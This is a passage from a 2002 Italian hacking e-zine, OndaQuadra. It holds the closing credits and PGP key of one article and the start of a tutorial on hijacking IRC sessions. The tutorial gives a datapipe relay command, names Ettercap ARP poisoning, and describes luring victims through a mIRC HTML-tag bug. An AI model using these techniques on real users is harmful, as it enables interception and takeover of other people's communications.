thread in simultanea | | risulta anche un po' rumoroso...visto che 128 thread significano anche | | 128 socket aperti sull'obiettivo... | | | | | | | | Potrebbero anche venire implementati per selezionare proxy e | | "target-port" in modo causale tramite la funzione random(3); | | questo metodo consentirebbe anche di prevenire settaggi futuri di IDS | | e firewall. | | | | Spero di essere stato chiaro su tutti i punti. | | | | | | | | /* */ | | /* Bye && Thanks to: FuSyS, Nobody, Tritemius, Naif, WishMaster, */ | | /* :raptor, Morpheo, embyte, MightyInquisitor, */ | | /* MoF, UIHA e..chi manca ma si sente incluso */ | | /* */ | | /* Bfi, OndaQuadra, Phrack, Whitepapers varie */ | | /* */ | | /* */ | | /* Fucks to : anyone */ | | /* */ | | /* */ | | /* NON NELLA CONOSCENZA STA IL POTERE, */ | | /* BENSI' NELL'ACQUISIZIONE DELLA CONOSCENZA!" */ | | /* */ | | /* */ | | /* */ | | /* ..::SNHYPER::.. */ | | /* snhyper@hotmail.com */ | | /* "Security Developer" */ | | /* Linux registered user #249109 */ | | /* Linux registered machine #133922 */ | | /* */ | | | | | | -----BEGIN PGP PUBLIC KEY BLOCK----- | | | | mQENAzvmGoAAAAEIAKD2WWEKWceg1oyoVQgnAm1rNUJ/4FLJbwZ7aDFLbSp9tzzk | | HdwupiYaKBbR1uhcWTnVJ2vvqtVbAG11BeARtE+iEnDPOEc697DS+j/6HV5ujULF | | Ok26Vx0IIQ2MZnVDAiYNmyBSi9uV1wJHWzvVgBwpLAwkG0owwC47y8TGmbpTKn/Q | | nQPT4favKxOstnqRX3ALZveqow6/zrvTkT6zM82wlwwkC7UpFl/XUURGq1rVn7yZ | | 4EZMePbFalKF7VLhJ7QRhdWIZ4r0JqFEA++CCxiU2ASPBdXUepFvNYB+JI+yzGmW | | dcd9/Zxh4I+B9JhDCCoGlCuqz/YwbPKoGWYKHr0ABRG0B3NuaHlwZXKJARUDBRA7 | | 5hqAbPKoGWYKHr0BASomB/wNS5g6N5u8TVCMCzwnU5tAUNYxL4W153FZle19Te2S | | SaAa9zH5jK+gZ0anJaQQHm7EE+fvo4uvrcCHWXOgrxxZbCO3ft2ff/LolUVEFmJU | | EmfKlCRz3lBH/i3SWt084hkw0GwBWjBGQfkogsT5yFEmXvaZAq5DG50hnHr9TL4z | | yferQqKn/0PBzhhkWZJu/EC0TKenZULD2uIS/8MUriUjCm3j8BOBOrqxu7R87fn5 | | LgpdjHvkKLUkRWVfoGtERnlbdFCOJubKiGKTstuUEdZ9gaFh+9z6GfcUhv4ISP4U | | ouKu5MrKJi8XDcTZ9r25weTm3tcbP9jAnFHstw7YPq/K =uAC7 | | -----END PGP PUBLIC KEY BLOCK----- | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ HACKiNG #07 - 01/08/2002 | | iRC HiJACKiNG [E4zy] 0x07/0x19 | +--------------------------------------------------------------------------+ | 1. Premessa | | | | 2. Intro | | | | 3. Requisiti | | | | 4. Hijacking | | 4.1 Datapipe | | 4.2 mIRC Bug | | 4.3 Ettercap | | | | 5. Characters Injection | | | | 6. Risorse | | | | | | | | 1. Premessa | | Non è intenzione dell'autore del presente articolo incentivare alcuna | | azione atta a ledere la privacy e il quieto vivere di altri utenti, | | bensì con il presente si intende dimostrare l'estrema facilità con cui | | un utente malintenzionato possa mettere a segno un attacco atto a minare | | l'integrità della comunicazione durante una sessione IRC. | | | | 2. Intro | | Lo scopo di questo articolo è quello di illustrare una tecnica che | | permetta di prendere possesso della sessione di un utente al fine di | | inviare messaggi al canale ed interagire con ogni comando del server IRC | | in genere. | | | | 3. Requisiti | | Ecco una breve lista di ciò di cui ho avuto bisogno per mettere in | | pratica quanto verrà detto in seguito: | | | | Datapipe | | Permette di redirigere il traffico in ingresso su una determinata porta | | dell'host locale verso un host e una porta arbitrari; | | | | Ettercap | | E' un tool che permette di sniffare e fare hijacking di una sessione | | utilizzando svariate tecniche tra cui l'avvelenamento delle cache ARP | | che sarà quella di cui mi servirò in seguito; | | | | LAN con due host Unix/Linux connessi a Internet | | Il primo eseguirà il datapipe e ospiterà la sessione, l'altro host sarà | | quello dal quale eseguiremo Ettercap per fare hijacking della sessione | | che rimbalza su di noi. | | | | 4. Hijacking | | | | 4.1 Datapipe | | Procuratevi un datapipe, personalmente ho utilizzato datapipe.c di Jeff | | Lawson, ponete in ascolto la porta 6667 mediante l'utilizzo del datapipe | | su uno dei due host che prendono parte alla vostra rete locale e fate in | | modo che il traffico in ingresso su tale porta venga rediretto verso il | | server irc sulla porta 6667, esempio: | | | | attacker@datapipe:~$ ./datapipe 192.168.1.5 6667 irc.azzurra.org 6667 | | | | A questo punto qualsiasi connessione in ingresso sulla porta 6667 dell' | | host locale 192.168.1.5 verrà rediretta verso il server IRC di Azzurra. | | Ora non vi resta che nattare(2) la porta 6667 sul vostro router di | | confine per permettere una connessione proveniente dall'esterno verso | | l'host locale che esegue il datapipe. | | | | (2)nattare: deriva da NAT (Network Address Translation), permette la | | traduzione di un indirizzo IP in un altro, nel nostro caso permette di | | mettere in relazione la porta 6667 del router di confine con la stessa | | porta di un host interno alla rete locale (192.168.1.5) al fine di | | permettere l'accesso da parte di host esterni. | | | | 4.2 mIRC Bug | | Ora il vostro sistema è pronto per ricevere una connessione da parte di | | un utente remoto, il quale verrà reinstradato tramite datapipe al server | | IRC in modo del tutto trasparente, non dovete far altro che trovare un | | utente che si connetta con il client IRC al vostro datapipe. | | | | Un utente malizioso potrebbe sfruttare un bug abbastanza conosciuto del | | mIRC 5.9 e 5.91 per far connettere la vittima al proprio datapipe, la | | vulnerabilità consiste nella possibilità di costruire una pagina web | | contenente un particolare tag html che permette di lanciare il client | | mIRC e farlo connettere ad un server arbitrario specificato all'interno | | della pagina html stessa. | | | |